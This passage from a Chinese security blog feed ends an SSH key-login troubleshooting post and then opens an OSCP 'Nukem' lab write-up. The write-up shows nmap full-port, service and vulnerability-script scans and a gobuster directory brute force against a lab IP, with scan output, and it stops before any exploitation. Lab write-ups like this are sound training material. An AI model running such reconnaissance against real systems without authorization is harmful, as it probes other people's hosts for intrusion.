&lt;li&gt;SSH 要求私钥权限必须为 &lt;code&gt;600&lt;/code&gt;，若权限过宽（如 &lt;code&gt;644&lt;/code&gt;）会导致客户端拒绝使用私钥。&lt;/li&gt;
&lt;li&gt;检查 anthony 的私钥权限：
&lt;pre tabindex="0"&gt;&lt;code&gt;ls -l ~/.ssh/id_rsa # 应为 -rw------- (600)
&lt;/code&gt;&lt;/pre&gt;若权限不符，需修复：
&lt;pre tabindex="0"&gt;&lt;code&gt;chmod 600 ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;.ssh&lt;/code&gt;目录或 &lt;code&gt;authorized_keys&lt;/code&gt;权限问题（服务器端）​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;anthony&lt;/code&gt;用户的 &lt;code&gt;.ssh&lt;/code&gt;目录权限需为 &lt;code&gt;700&lt;/code&gt;，&lt;code&gt;authorized_keys&lt;/code&gt;文件权限需为 &lt;code&gt;600&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;若权限错误（如 &lt;code&gt;authorized_keys&lt;/code&gt;为 &lt;code&gt;644&lt;/code&gt;），服务器会拒绝认证：
&lt;pre tabindex="0"&gt;&lt;code&gt;# 在服务器上检查 anthony 用户的配置
chmod 700 /home/anthony/.ssh
chmod 600 /home/anthony/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;authorized_keys&lt;/code&gt;内容或路径错误​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cp .ssh/id_rsa.pub .ssh/authorized_keys&lt;/code&gt;可能未正确覆盖文件（如文件路径错误或内容截断）。&lt;/li&gt;
&lt;li&gt;验证 &lt;code&gt;authorized_keys&lt;/code&gt;内容是否包含完整公钥：
&lt;pre tabindex="0"&gt;&lt;code&gt;cat /home/anthony/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​SSH 服务配置限制​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;服务器可能禁止 &lt;code&gt;anthony&lt;/code&gt;用户使用密钥登录（如 &lt;code&gt;sshd_config&lt;/code&gt;中设置了 &lt;code&gt;DenyUsers anthony&lt;/code&gt;或 &lt;code&gt;PubkeyAuthentication no&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;检查服务器配置：
&lt;pre tabindex="0"&gt;&lt;code&gt;grep -E &amp;#34;DenyUsers|PubkeyAuthentication&amp;#34; /etc/ssh/sshd_config
# 确保包含： PubkeyAuthentication yes
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​用户目录所有权或权限问题​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;anthony&lt;/code&gt;用户目录权限过宽（如 &lt;code&gt;/home/anthony&lt;/code&gt;权限为 &lt;code&gt;777&lt;/code&gt;）会导致 SSH 拒绝认证。&lt;/li&gt;
&lt;li&gt;修复目录权限：
&lt;pre tabindex="0"&gt;&lt;code&gt;chmod 755 /home/anthony # 必须 ≤755
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-为何-"&gt;✅ ​&lt;strong&gt;​为何 &lt;code&gt;root&lt;/code&gt;用户能成功？​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;root&lt;/code&gt;的 &lt;code&gt;authorized_keys&lt;/code&gt;配置正确​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys&lt;/code&gt;命令直接将公钥复制到 &lt;code&gt;root&lt;/code&gt;用户，且 &lt;code&gt;root&lt;/code&gt;的 &lt;code&gt;.ssh&lt;/code&gt;目录通常自动满足权限要求（&lt;code&gt;700&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;root&lt;/code&gt;用户不受某些限制​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sshd_config&lt;/code&gt;可能未限制 &lt;code&gt;root&lt;/code&gt;登录（如 &lt;code&gt;PermitRootLogin yes&lt;/code&gt;），而 &lt;code&gt;anthony&lt;/code&gt;用户可能被其他规则阻止。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-解决方案"&gt;🔧 ​&lt;strong&gt;​解决方案​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​修复 anthony 用户的权限​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​客户端​&lt;/strong&gt;​（本地）：
&lt;pre tabindex="0"&gt;&lt;code&gt;chmod 600 ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​服务器端​&lt;/strong&gt;​（以 &lt;code&gt;anthony&lt;/code&gt;登录或通过 &lt;code&gt;root&lt;/code&gt;修复）：
&lt;pre tabindex="0"&gt;&lt;code&gt;chmod 700 /home/anthony/.ssh
chmod 600 /home/anthony/.ssh/authorized_keys
chmod 755 /home/anthony # 确保目录权限安全
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​验证 &lt;code&gt;authorized_keys&lt;/code&gt;内容​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;确认公钥完整写入：
&lt;pre tabindex="0"&gt;&lt;code&gt;echo &amp;#34;$(cat ~/.ssh/id_rsa.pub)&amp;#34; &amp;gt; /home/anthony/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​检查服务器 SSH 配置​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;编辑 &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;：
&lt;pre tabindex="0"&gt;&lt;code&gt;PubkeyAuthentication yes # 启用密钥认证
AllowUsers anthony root # 允许 anthony 和 root 登录
&lt;/code&gt;&lt;/pre&gt;重启服务生效：
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​调试连接​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;-vvv&lt;/code&gt;参数查看详细错误：
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -vvv -i id_rsa anthony@192.168.133.240
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;检查服务器日志：
&lt;pre tabindex="0"&gt;&lt;code&gt;tail -f /var/log/auth.log # Debian/Ubuntu
tail -f /var/log/secure # RHEL/CentOS
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;根据您提供的目录信息和 SSH 密钥认证机制，&lt;code&gt;/home/anthony/.ssh/authorized_keys&lt;/code&gt;文件缺失会导致 SSH 公钥登录失败。以下是具体分析和解决方案：&lt;/p&gt;
&lt;h3 id="-无法登录的原因"&gt;⚠️ ​&lt;strong&gt;​无法登录的原因​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;authorized_keys&lt;/code&gt;文件缺失​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;该文件是 SSH 服务器验证客户端公钥的核心依据。服务器会检查客户端提供的公钥是否在 &lt;code&gt;authorized_keys&lt;/code&gt;中，若文件不存在，则公钥认证自动失败 。&lt;/li&gt;
&lt;li&gt;您的目录中仅有 &lt;code&gt;id_rsa.pub&lt;/code&gt;（公钥）和 &lt;code&gt;id_rsa&lt;/code&gt;（私钥），但未将公钥内容添加到 &lt;code&gt;authorized_keys&lt;/code&gt;文件中，导致服务器无法匹配私钥 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;root&lt;/code&gt;用户登录成功的原因​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;您此前执行了 &lt;code&gt;sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys&lt;/code&gt;，已将公钥正确复制到 &lt;code&gt;root&lt;/code&gt;用户的 &lt;code&gt;authorized_keys&lt;/code&gt;文件，因此 &lt;code&gt;root&lt;/code&gt;可正常登录 。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822232533378.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-解决方案为-"&gt;🔧 ​&lt;strong&gt;​解决方案：为 &lt;code&gt;anthony&lt;/code&gt;用户创建 &lt;code&gt;authorized_keys&lt;/code&gt;​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="步骤-1创建文件并添加公钥内容"&gt;步骤 1：创建文件并添加公钥内容
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 进入 anthony 的 .ssh 目录
cd /home/anthony/.ssh

# 创建 authorized_keys 文件并将 id_rsa.pub 内容追加到其中
cat id_rsa.pub &amp;gt;&amp;gt; authorized_keys
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822232717771.png"&gt;&lt;/p&gt;
&lt;h4 id="步骤-2设置严格的文件权限"&gt;步骤 2：设置严格的文件权限
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 设置 authorized_keys 权限为 600（仅所有者可读写）
chmod 600 authorized_keys

# 确保 .ssh 目录权限为 700（仅所有者可访问）
chmod 700 /home/anthony/.ssh
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​权限要求​&lt;/strong&gt;​：SSH 要求 &lt;code&gt;authorized_keys&lt;/code&gt;权限为 &lt;code&gt;600&lt;/code&gt;，&lt;code&gt;.ssh&lt;/code&gt;目录权限为 &lt;code&gt;700&lt;/code&gt;，否则服务器会拒绝认证 。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-3验证-ssh-配置可选"&gt;步骤 3：验证 SSH 配置（可选）
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;检查 &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;确保以下配置启用：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PubkeyAuthentication yes # 启用公钥认证
AuthorizedKeysFile .ssh/authorized_keys # 指定公钥文件路径
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启 SSH 服务使配置生效：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-验证登录"&gt;✅ ​&lt;strong&gt;​验证登录​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;完成上述步骤后，尝试重新连接：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -i /path/to/id_rsa anthony@192.168.133.240
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;若仍失败，可通过调试模式定位问题：
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -vvv -i /path/to/id_rsa anthony@192.168.133.240
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-关键注意事项"&gt;📌 ​&lt;strong&gt;​关键注意事项​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​文件完整性​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;authorized_keys&lt;/code&gt;中公钥需与客户端私钥严格匹配，复制时避免遗漏字符 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​权限安全​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;权限错误是常见失败原因，需确保：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;authorized_keys&lt;/code&gt;→ &lt;code&gt;600&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.ssh&lt;/code&gt;目录 → &lt;code&gt;700&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;私钥 &lt;code&gt;id_rsa&lt;/code&gt;→ &lt;code&gt;600&lt;/code&gt;（您已满足）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​目录所有权​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;确保 &lt;code&gt;/home/anthony&lt;/code&gt;及其子目录所有者是 &lt;code&gt;anthony&lt;/code&gt;，否则 SSH 可能拒绝认证：
&lt;pre tabindex="0"&gt;&lt;code&gt;chown -R anthony:anthony /home/anthony
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场 Nukem WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-nukem-wp/</link><pubDate>Wed, 20 Aug 2025 14:22:15 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-nukem-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场 Nukem WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开靶场&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.159
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.206.105
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.236.105 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.236.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.236.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.206.105 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t &lt;span class="m"&gt;20&lt;/span&gt; -x php,html,txt -b 403,500,404 -z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.236.105/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Nukem&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;22,80,3306
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Nukem&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.236.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-20 02:28 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.236.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.32s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 8.3 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;3072&lt;/span&gt; 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.46 &lt;span class="o"&gt;((&lt;/span&gt;Unix&lt;span class="o"&gt;)&lt;/span&gt; PHP/7.4.10&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.46 &lt;span class="o"&gt;(&lt;/span&gt;Unix&lt;span class="o"&gt;)&lt;/span&gt; PHP/7.4.10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql MariaDB 10.3.24 or later &lt;span class="o"&gt;(&lt;/span&gt;unauthorized&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose&lt;span class="p"&gt;|&lt;/span&gt;router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;Running &lt;span class="o"&gt;(&lt;/span&gt;JUST GUESSING&lt;span class="o"&gt;)&lt;/span&gt;: Linux 4.X&lt;span class="p"&gt;|&lt;/span&gt;5.X&lt;span class="p"&gt;|&lt;/span&gt;3.X&lt;span class="p"&gt;|&lt;/span&gt;2.6.X &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, MikroTik RouterOS 7.X &lt;span class="o"&gt;(&lt;/span&gt;89%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;Aggressive OS guesses: Linux 4.15 - 5.19 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.14 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, MikroTik RouterOS 7.2 - 7.5 &lt;span class="o"&gt;(&lt;/span&gt;Linux 5.6.3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;89%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;No exact OS matches &lt;span class="k"&gt;for&lt;/span&gt; host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt; conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;
